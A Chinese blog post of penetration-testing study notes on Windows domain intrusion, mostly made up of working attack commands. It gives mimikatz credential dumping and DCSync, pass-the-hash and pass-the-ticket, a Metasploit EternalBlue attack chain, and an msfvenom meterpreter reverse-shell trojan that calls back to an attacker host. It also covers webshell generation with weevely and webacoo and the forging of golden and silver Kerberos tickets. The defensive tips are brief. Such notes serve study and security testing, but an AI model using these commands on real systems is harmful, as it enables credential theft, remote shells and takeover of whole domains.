Windows操作系统中的密码一般由两部分组成,一部分为LM Hash,另一部分为NTLM Hash。 结构形如:username:RID:LM-HASH:NT-HASH

从vista和2008开始默认禁用LM-HASH

**LM HASH:**DES加密,默认禁用,密码不足14字节采用 0 来补全,明文限定为14位以内

**NTLM HASH:**基于MD4

个人版从Windows Vista 以后,服务器版从Windows Server2003以后,Windows操作系统的认证方式均为NTLM Hash。

单机密码抓取与防范

要想在Windows操作系统中抓取散列值或明文密码,必须将权限提升至System

本地用户名、散列值和其他安全验证信息都保存在SAM文件中。路径位于C:\Windows\System32\config,处于被锁定的状态,不允许复制。

isass.exe进程用于实现安全策略,可以利用工具将散列值或明文密码从内存中的isass进程或SAM文件导出

SAM文件可以通过PE盘进入文件管理环境赋值,或用VSS等方法直接复制

常见工具

GetPass、PwDump7、QuarksPwDump

通过SAM和System文件抓取密码

导出SAM文件(需要管理员权限)
1
2
3
# cmd、PowerShell
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
mimikatz获取SAM和System文件
1
2
# cmd、PowerShell
lsadump::sam /sam:sam.hive /system:system.hive

在此之前需要进行提权

1
2
3
# cmd、PowerShell
privilege::debug # 提升权限
token:elevate # 将权限提升到System
在线读取散列值
1
2
# cmd、PowerShell
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" 

HashCat

包括Hashcat,oclHashcat,oclRausscrack

区别

  • Hashcat 只支持CPU破解

  • oclHashcat 和 oclGausscrack支持GPU加速破解

  • oclHashcat 分为AMD版和NIVDA版,并且需要安装官方指定版本的显卡驱动程序

参数

  • -b:测试破解基准速度

  • -m:指定散列值的类型

    部分参数选项

    参数 hash名
    0 MD5
    10 md5($pass.$salt)
    20 md5($salt.$pass)
    30 md5(unicode($pass).$salt)
    40 md5($salt.unicode($pass))
    50 HMAC-MD5 (key)
    60 HMAC-MD5 (key)
    100 SHA1
    110 sha1($pass.$salt)
    120 sha1($salt.$pass)
    130 sha1(unicode($pass).$salt)
    140 sha1($salt.unicode($pass))
    150 HMAC-SHA1 (key)
    160 HMAC-SHA1 (key)
  • -a:指定破解模式

    参数 说明 备注
    0 Straight 字典 模式
    1 Combination 组合字典 模式
    2 Toggle-Case 大小写转换 模式
    3 Brute-force 掩码暴力 模式
    4 Permutation 序列 模式
    5 Table-Lookup 查表 模式
    6 Hybrid dict + mask 字典+掩码 模式
    7 Hybrid mask + dict 掩码+字典 模式
    8 Prince 王子 模式

常用命令

1
2
# bash
hashcat -a 0 -m <类型代码> <存入散列值的文件> <字典文件> <字典文件2>

5.3

哈希传递攻击

大多数渗透测试人员都听说过哈希传递(Pass The Hash)攻击。该方法通过找到与账户相关的密码散列值(通常是NTLM Hash)来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。

使用NTML hash进行哈希传递

1
2
# cmd、PowerShell
mimikatz "privilege::debug" "sekurlsa::pth /user:<用户名> /domain:<域名> /ntlm:<散列值>"

AES-256密钥进行哈希传递(需要安装KB2871977)

1
2
3
4
5
# cmd、PowerShell
# 密钥抓取
mimikatz "privilege::debug" "sekurlsa:ekeys"
# 哈希传递
mimikatz "privilege::debug" "sekurlsa::pth /user:<用户名> /domain:<域名> /aes256:<AES key>"

5.4

票据传递攻击分析与防范

mimikatz的哈希传递功能需要有本地管理员权限,但是票据传递可以不用管理员权限

票据传递是基于kerberos协议,流程为导出票据->清空内存中的票据->将票据导入内存

mimikatz票据传递

将内存的票据导出

1
2
# cmd、PowerShell
mimikatz "privilige::debug" "sekurlsa::tickets /export"

清除内存中的票据

1
2
# cmd、PowerShell
mimikatz "kerberos::purge"

将票据注入内存

1
2
# cmd、PowerShell
mimikatz "kerberos::ptt <票据文件名>"

kekeo票据传递

kekeo不通过导出得到票据文件,而是通过用户名,域名,散列值生成一个

生成票据文件

1
2
# cmd、PowerShell
kekeo "tgt::ask /user:<用户名> /domain:<域名> /ntlm:<散列值>"

清除内存中的票据

1
2
3
4
5
# cmd、PowerShell
# 方法一
kerberos::purge
# 方法二
klist purge

将票据注入内存

1
2
# cmd、PowerShell
kerberos:ptt <票据文件名> # run in kekeo

防范票据传递攻击

  1. 开启Windows Update功能,进行自动更新。

  2. 手动下载补丁包进行修复

  3. 对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。

  4. 在服务器上安装反病毒软件,及时更新病毒库。

5.5

PsExec

**特点:**包含在PsTools工具包里面、可以在远程计算机上执行、可以将管理员权限提升到System权限以运行指定的程序

获取System权限的Shell

需要在建立了ipc$下进行运行下面命令

1
2
# cmd、PowerShell
PsExec -acceptula \\<远程计算机IP地址> -s cmd.exe

-acceptula:第一次运行PsExec会弹出确认对话框,使用该参数就不会弹出确认框

-s:以System权限运行进程,如果不加此参数则会得到一个Administrator权限的Shell

攻击原理

通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为“PSEXESVC”的二进制文件,然后,通过psexec服务运行命令,运行结束后删除服务。

5.7

永恒之蓝漏洞利用攻击链

使用msf来对其进行攻击

启动msf

1
msfconsole

使用模块

1
2
use auxiliary/scanner/smb/smb_ms17_010 		# 扫描模块
use exploit/windows/smb/ms17_010_eternalblue # 攻击模块

查看参数

1
show options

设置靶机地址段

1
set rhosts 192.168.100.1/24

设置线程数

1
set threads 50

设置反弹payload(在攻击时设置此参数)

1
set payload windows/x64/meterpreter/reverse_tcp

执行

1
exploit

后续渗透

获取到靶机的meterpreter shell下可以进一步收集信息

查看当前shell权限:getuid

获取用户散列值:hashdump

获取命令行环境的shell:shell

防御方式

  • 禁用SMB协议,适用于Windows Vista及更高版本的操作系统
  • 打开WindowsUpdate,或者手动安装KB2919355
  • 使用防火墙阻止445端口的连接,或者使用进/岀站规则阻止445端口的连接
  • 不要随意打开陌生的文件
  • 安装杀毒软件,及时进行更新病毒库

5.9

DCOM

DCOM(分布式组件模型):客户端程序可以通过DCOM,向网络中的另一台计算机上的服务端程序发送请求 基于COM(组件对象模型) :同一台计算机的客户端服务端通信

5.10

SPN

微软给域内的每种资源分配不同的SPN(ServicePrincipalName),即服务主体名称

SPN是服务实例(比如:HTTP、SMB、MySQL 等服务)的唯一标识符

验证过程(参考Kerberos协议认证

  1. 当用户需要访问MSSQL服务时,系统会以当前用户身份向域控制器查询SPN为”MSSQL”的记录。
  2. 找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。
  3. KDC中的身份验证服务(AS)对TGT进行解密。
  4. 确认无误后,由TGS将一张允许访问该SPN所对应的服务的票据和该SPN所对应的服务的地址发送给用户。
  5. 用户使用该票据即可访问MSSQL服务。

常用命令

注册SPN

1
2
3
4
# cmd、PowerShell
setspn -A <服务组件名称>/<主机名>.<域名>:<端口>
# Example
setspn -A MSSQLSvc/computer1.pentest.com:1433

-A改为-S可以验证是否有重复的spn,注册SPN需要域管理员权限

查询SPN

1
2
3
4
5
6
7
# cmd、PowerShell
# 当前域所有spn
setspn -q */*
# 指定域spn
setspn -T <域名> -q */*
# 指定域用户/主机的条目
setspn -L <用户名>

kerberoast攻击防范建议

  • 保证服务账号密码的长度超过25位
  • 确保密码的随机性
  • 定期修改服务账号的密码
  • 保证默认的AES256_HMAC加密方式不能改为RC4_HMAC_MD5
  • 强制使用AES256_HMAC方式对Kerberos票据进行加密

第六章

6.1

ntdis.dit

一个二进制文件,保存了活动目录中的所有数据,包括但不限于用户名,散列值,组,GPP,OU等与活动目录相关的信息,与SAM文件一样被操作系统锁定

保存位置为%SystemRoot%\ntds\ntds.dit

提取工具

ntdsutil.exe

vssadmin

vssown.vbs

ntdsutil的IFM

diskshadow

防范方式

即监控卷影拷贝服务的使用情况

  • 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
  • 监控System Event ID 7036(卷影拷贝服务进入运行状态的标志)的可疑实例,以及创建进程的事件。
  • 监控创建diskshadow.exe及相关子进程的事件。
  • 监控客户端设备中的diskshadow.exe实例创建事件。
  • 通过日志监控新出现的逻辑驱动器映射事件

6.3

利用dcsync获取域散列值

dcsync是mimikatz中的一个功能,作用是利用VSS读取ntds.dit文件以获取域散列值

常用命令

1
2
3
4
5
6
7
8
# 导出所有用户名和散列值 
lsadump::dcsync /domain:<域名> /all /csv
# 导出指定用户散列值
lsadump::dcsync /domain:<域名> /user:<用户名>
# 通过转储isass进程dump散列值
# 域控上执行
privilege::debug # 需要先提权
lsadump::lsa /inject

注:前两个在域内所有计算机中都能用,最后的只能在域控上,前两个需要域管理员权限,最后的需要在mimikatz中提权

6.4

利用meterpreter会话获取域账号和域散列值

msfvenom生成木马程序

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<反弹的目的IP> LPORT=<反弹的目的端口> -f exe >shell.exe

-p:指定payload,要与metersploit中设置监听的payload完全一致

-f:指输出文件的格式

其中 LHOST 与 LPORT 一般指向攻击机的IP与监听的端口

攻击流程

打开metasploit

1
2
3
4
use exploit/multi/handler		# 使用模块 
set payload windows/x64/meterpreter/reverse_tcp # 设置payload,与木马中-p指定的完全相同
set lhost <攻击机ip> set lport <攻击机监听端口>
exploit -j -z # 后台进行监听,等待靶机执行木马程序之后便能获取到meterpreter shell

防范建议

  • 开启Windows Update功能,进行自动更新。
  • 手动下载补丁包进行修复。
  • 对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。
  • 在服务器上安装反病毒软件,及时更新病毒库。

第七章

7.2

域信任的作用是解决多域环境中的跨域资源共享问题

域环境不会无条件地接收来自其他域的凭证,只会接收来自受信任的域的凭证

单向双向信任关系

单向信任是指在两个域之间创建单向的信任路径,即在一个方向上是信任流,在另一个方向上是访问流。

例:若A域信任B域,那么B域内受信任的主体可以访问A域内信任B域的资源。但A域内的主体无法访问B域内的资源

双向信任是指两个单向信任的组合,信任域和受信任域彼此信任,在两个方向上都有信任流和访问流。

活动目录中的所有域信任关系都是双向可传递的

子域与父域也是双向可传递信任的

外部内部信任关系

同一域树中的两个或多个域之间的信任关系称为内部信任,该信任关系可传递

例:有三个A域的子域:BA、CA、DA,BA域信任CA域,CA域信任DA域,则BA域也信任DA域

外部信任是指两个不同林中的域的信任关系。 外部信任是不可传递的。 林信任关系可能是不可传递的,也可能是可传递的

第八章

8.1

后门概念

通过绕过安全控制措施获取对程序或系统访问权限的方法。

简单地说,后门就是一个留在目标主机上的软件,它可以使攻击者随时与目标主机进行连接

操作系统后门

**粘滞键后门:**通过替换粘滞键可执行文件,可以以System权限执行命令

**注册表注入后门:**将可执行文件写入到注册表键的启动项中,在登录时便能执行后门程序

**计划任务后门:**通过计划任务自动执行或生成后门程序

**meterpreter后门:**meterpreter自带,使用安装自启动方式的持久性后门程序

**Cymothoa后门:**将shellcode注入到现有进程中的后门程序

WMI后门

特点

只能由管理员权限的用户运行

使用powershell编写

可以直接从新的WMI属性中读取和执行后门代码,给代码加密

无文件、无进程

无文件、无进程的基本原理

无文件:将代码加密存储于WMI中,实现无文件

无进程:满足条件时,系统自动PowerShell进程执行后门程序,执行后进程消失,实现无进程

8.2

Web后门

weevely后门

python编写的针对php的webshell

1
weevely generate <密码> <生成文件路径> 

如何连接webShell

1
weevely <目标url,以文件名结尾> <密码>

webacoo后门

1
webacoo -g -o <生成文件路径> 

如何连接webShell

1
webacoo -t -u <目标url>

8.3

域控制器权限持久化分析与防范

DSRM目录恢复模式

DSRM(DirectoryServicesRestoreMode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户(也就是DSRM账户)。DSRM允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。

SSP

SSP(Security Support Provider)是Windows操作系统安全机制的提供者。

简单地说,SSP就是一个DLL文件,主要用来实现Windows操作系统的身份认证功能

SID History

每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。

SID History是在域迁移过程中需要使用的一个属性,用于在域迁移过程中保持域用户的访问权限。

黄金票据

原理

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个 Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

需要伪造内容:

  • 域管理员用户名
  • 完整域名
  • 域SID
  • krbtgt的 NTLM Hash 或 AES-256 值

导出Krbtgt的NTML Hash

1
lsadump::dcsync /domain:<域名> /user:krbtgt

上面使用mimikatzdcsync来转储ntds.dit,指定/user参数可以只导出krbtgt账号信息

获取域SID

1
2
# cmd、PowerShell
wmic useraccount get name,sid

获取当前用户SID

1
2
# cmd、PowerShell
whoami /user

获取域管理员账户

1
2
# cmd、PowerShell
net group "domain admins" /domain

查询域名

1
2
# cmd、PowerShell
ipconfig /all

清空票据

1
kerberos::purge

生成票据

1
2
3
4
# 使用krbtgt NTLM Hash 生成
kerberos::golden /admin:Administrator /domain:<域名称> /sid:<域SID> /krbtgt:<krbtgt的NTLM Hash> /ticket:Administrator.kiribi
# 使用AES-256值生成
kerberos::golden /admin:Administrator /domain:<域名称> /sid:<域SID> /aes256:<krbtgt的AES-256值> /ticket:Administrator.kiribi

传递票据

1
kerberos::ptt Administrator.kiribi

防御措施

管理员通常会修改域管理员的密码,但有时会忘记将krbtgt密码一并重置,所以,如果想防御Golden Ticket攻击,就需要将krbtgt密码重置两次
使用Golden Ticket伪造的用户可以是任意用户(即使这个用户不存在)。因为TGT的加密是由krbtgt完成的,所以,只要TGT被krbtgt账户和密码正确地加密,那么任意KDC使用krbtgt将TGT解密后,TGT中的所有信息都是可信的。只有在如下两种情况下才能修改krbtgt密码。

  • 域功能级别从Windows2000或Windows Server 2003提升至Windows Server 2008或WindowsServer 2012。在提升域功能的过程中,krbtgt 的密码会被自动修改。
  • 用户自行进行安全检查和相关服务加固时会修改krbtgt的密码。

白银票据

原理

黄金票据是伪造的TGT,那么白银票据就是伪造的ST。在Kerberos认证的第三步,Client带着ST和Authenticator向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

所需要条件:

  • 域名
  • 域SID
  • 目标服务器名
  • 可利用的服务
  • 服务账号的NTML HASH
  • 需要伪造的用户名

攻击方式与黄金票据相似

获取服务账号名 & 服务账号Hash

1
2
# cmd、PowerShell
mimikatz "privlige::debug" "sekurlsa::logonPasswords"

票据制作

1
2
3
4
5
6
7
# cmd、PowerShell
# 清除票据
klist purge
# 票据生成
kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx用户名 /ptt
# Example
kerberos::golden /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /target:dc.cyber.com /service:cifs /rc4:45bdd23a3b9fc1c44a9fbb4081a70b30 /user:aaaa /ptt

黄金票据和白银票据区别

获取的权限不同

金票:伪造的TGT,可以获取任意Kerberos的访问权限

银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同

金票:与KDC交互,但不与AS交互

银票:不与KDC交互,直接访问Server

加密方式不同

金票:由krbtgt NTLM Hash 加密

银票:由服务账号 NTLM Hash 加密

万能密码

了解可以生成万能密码与域控建立IPC$


内网渗透学习笔记
https://equinox-shame.github.io/2024/06/11/内网渗透测试/
作者
梓曰
发布于
2024年6月11日
许可协议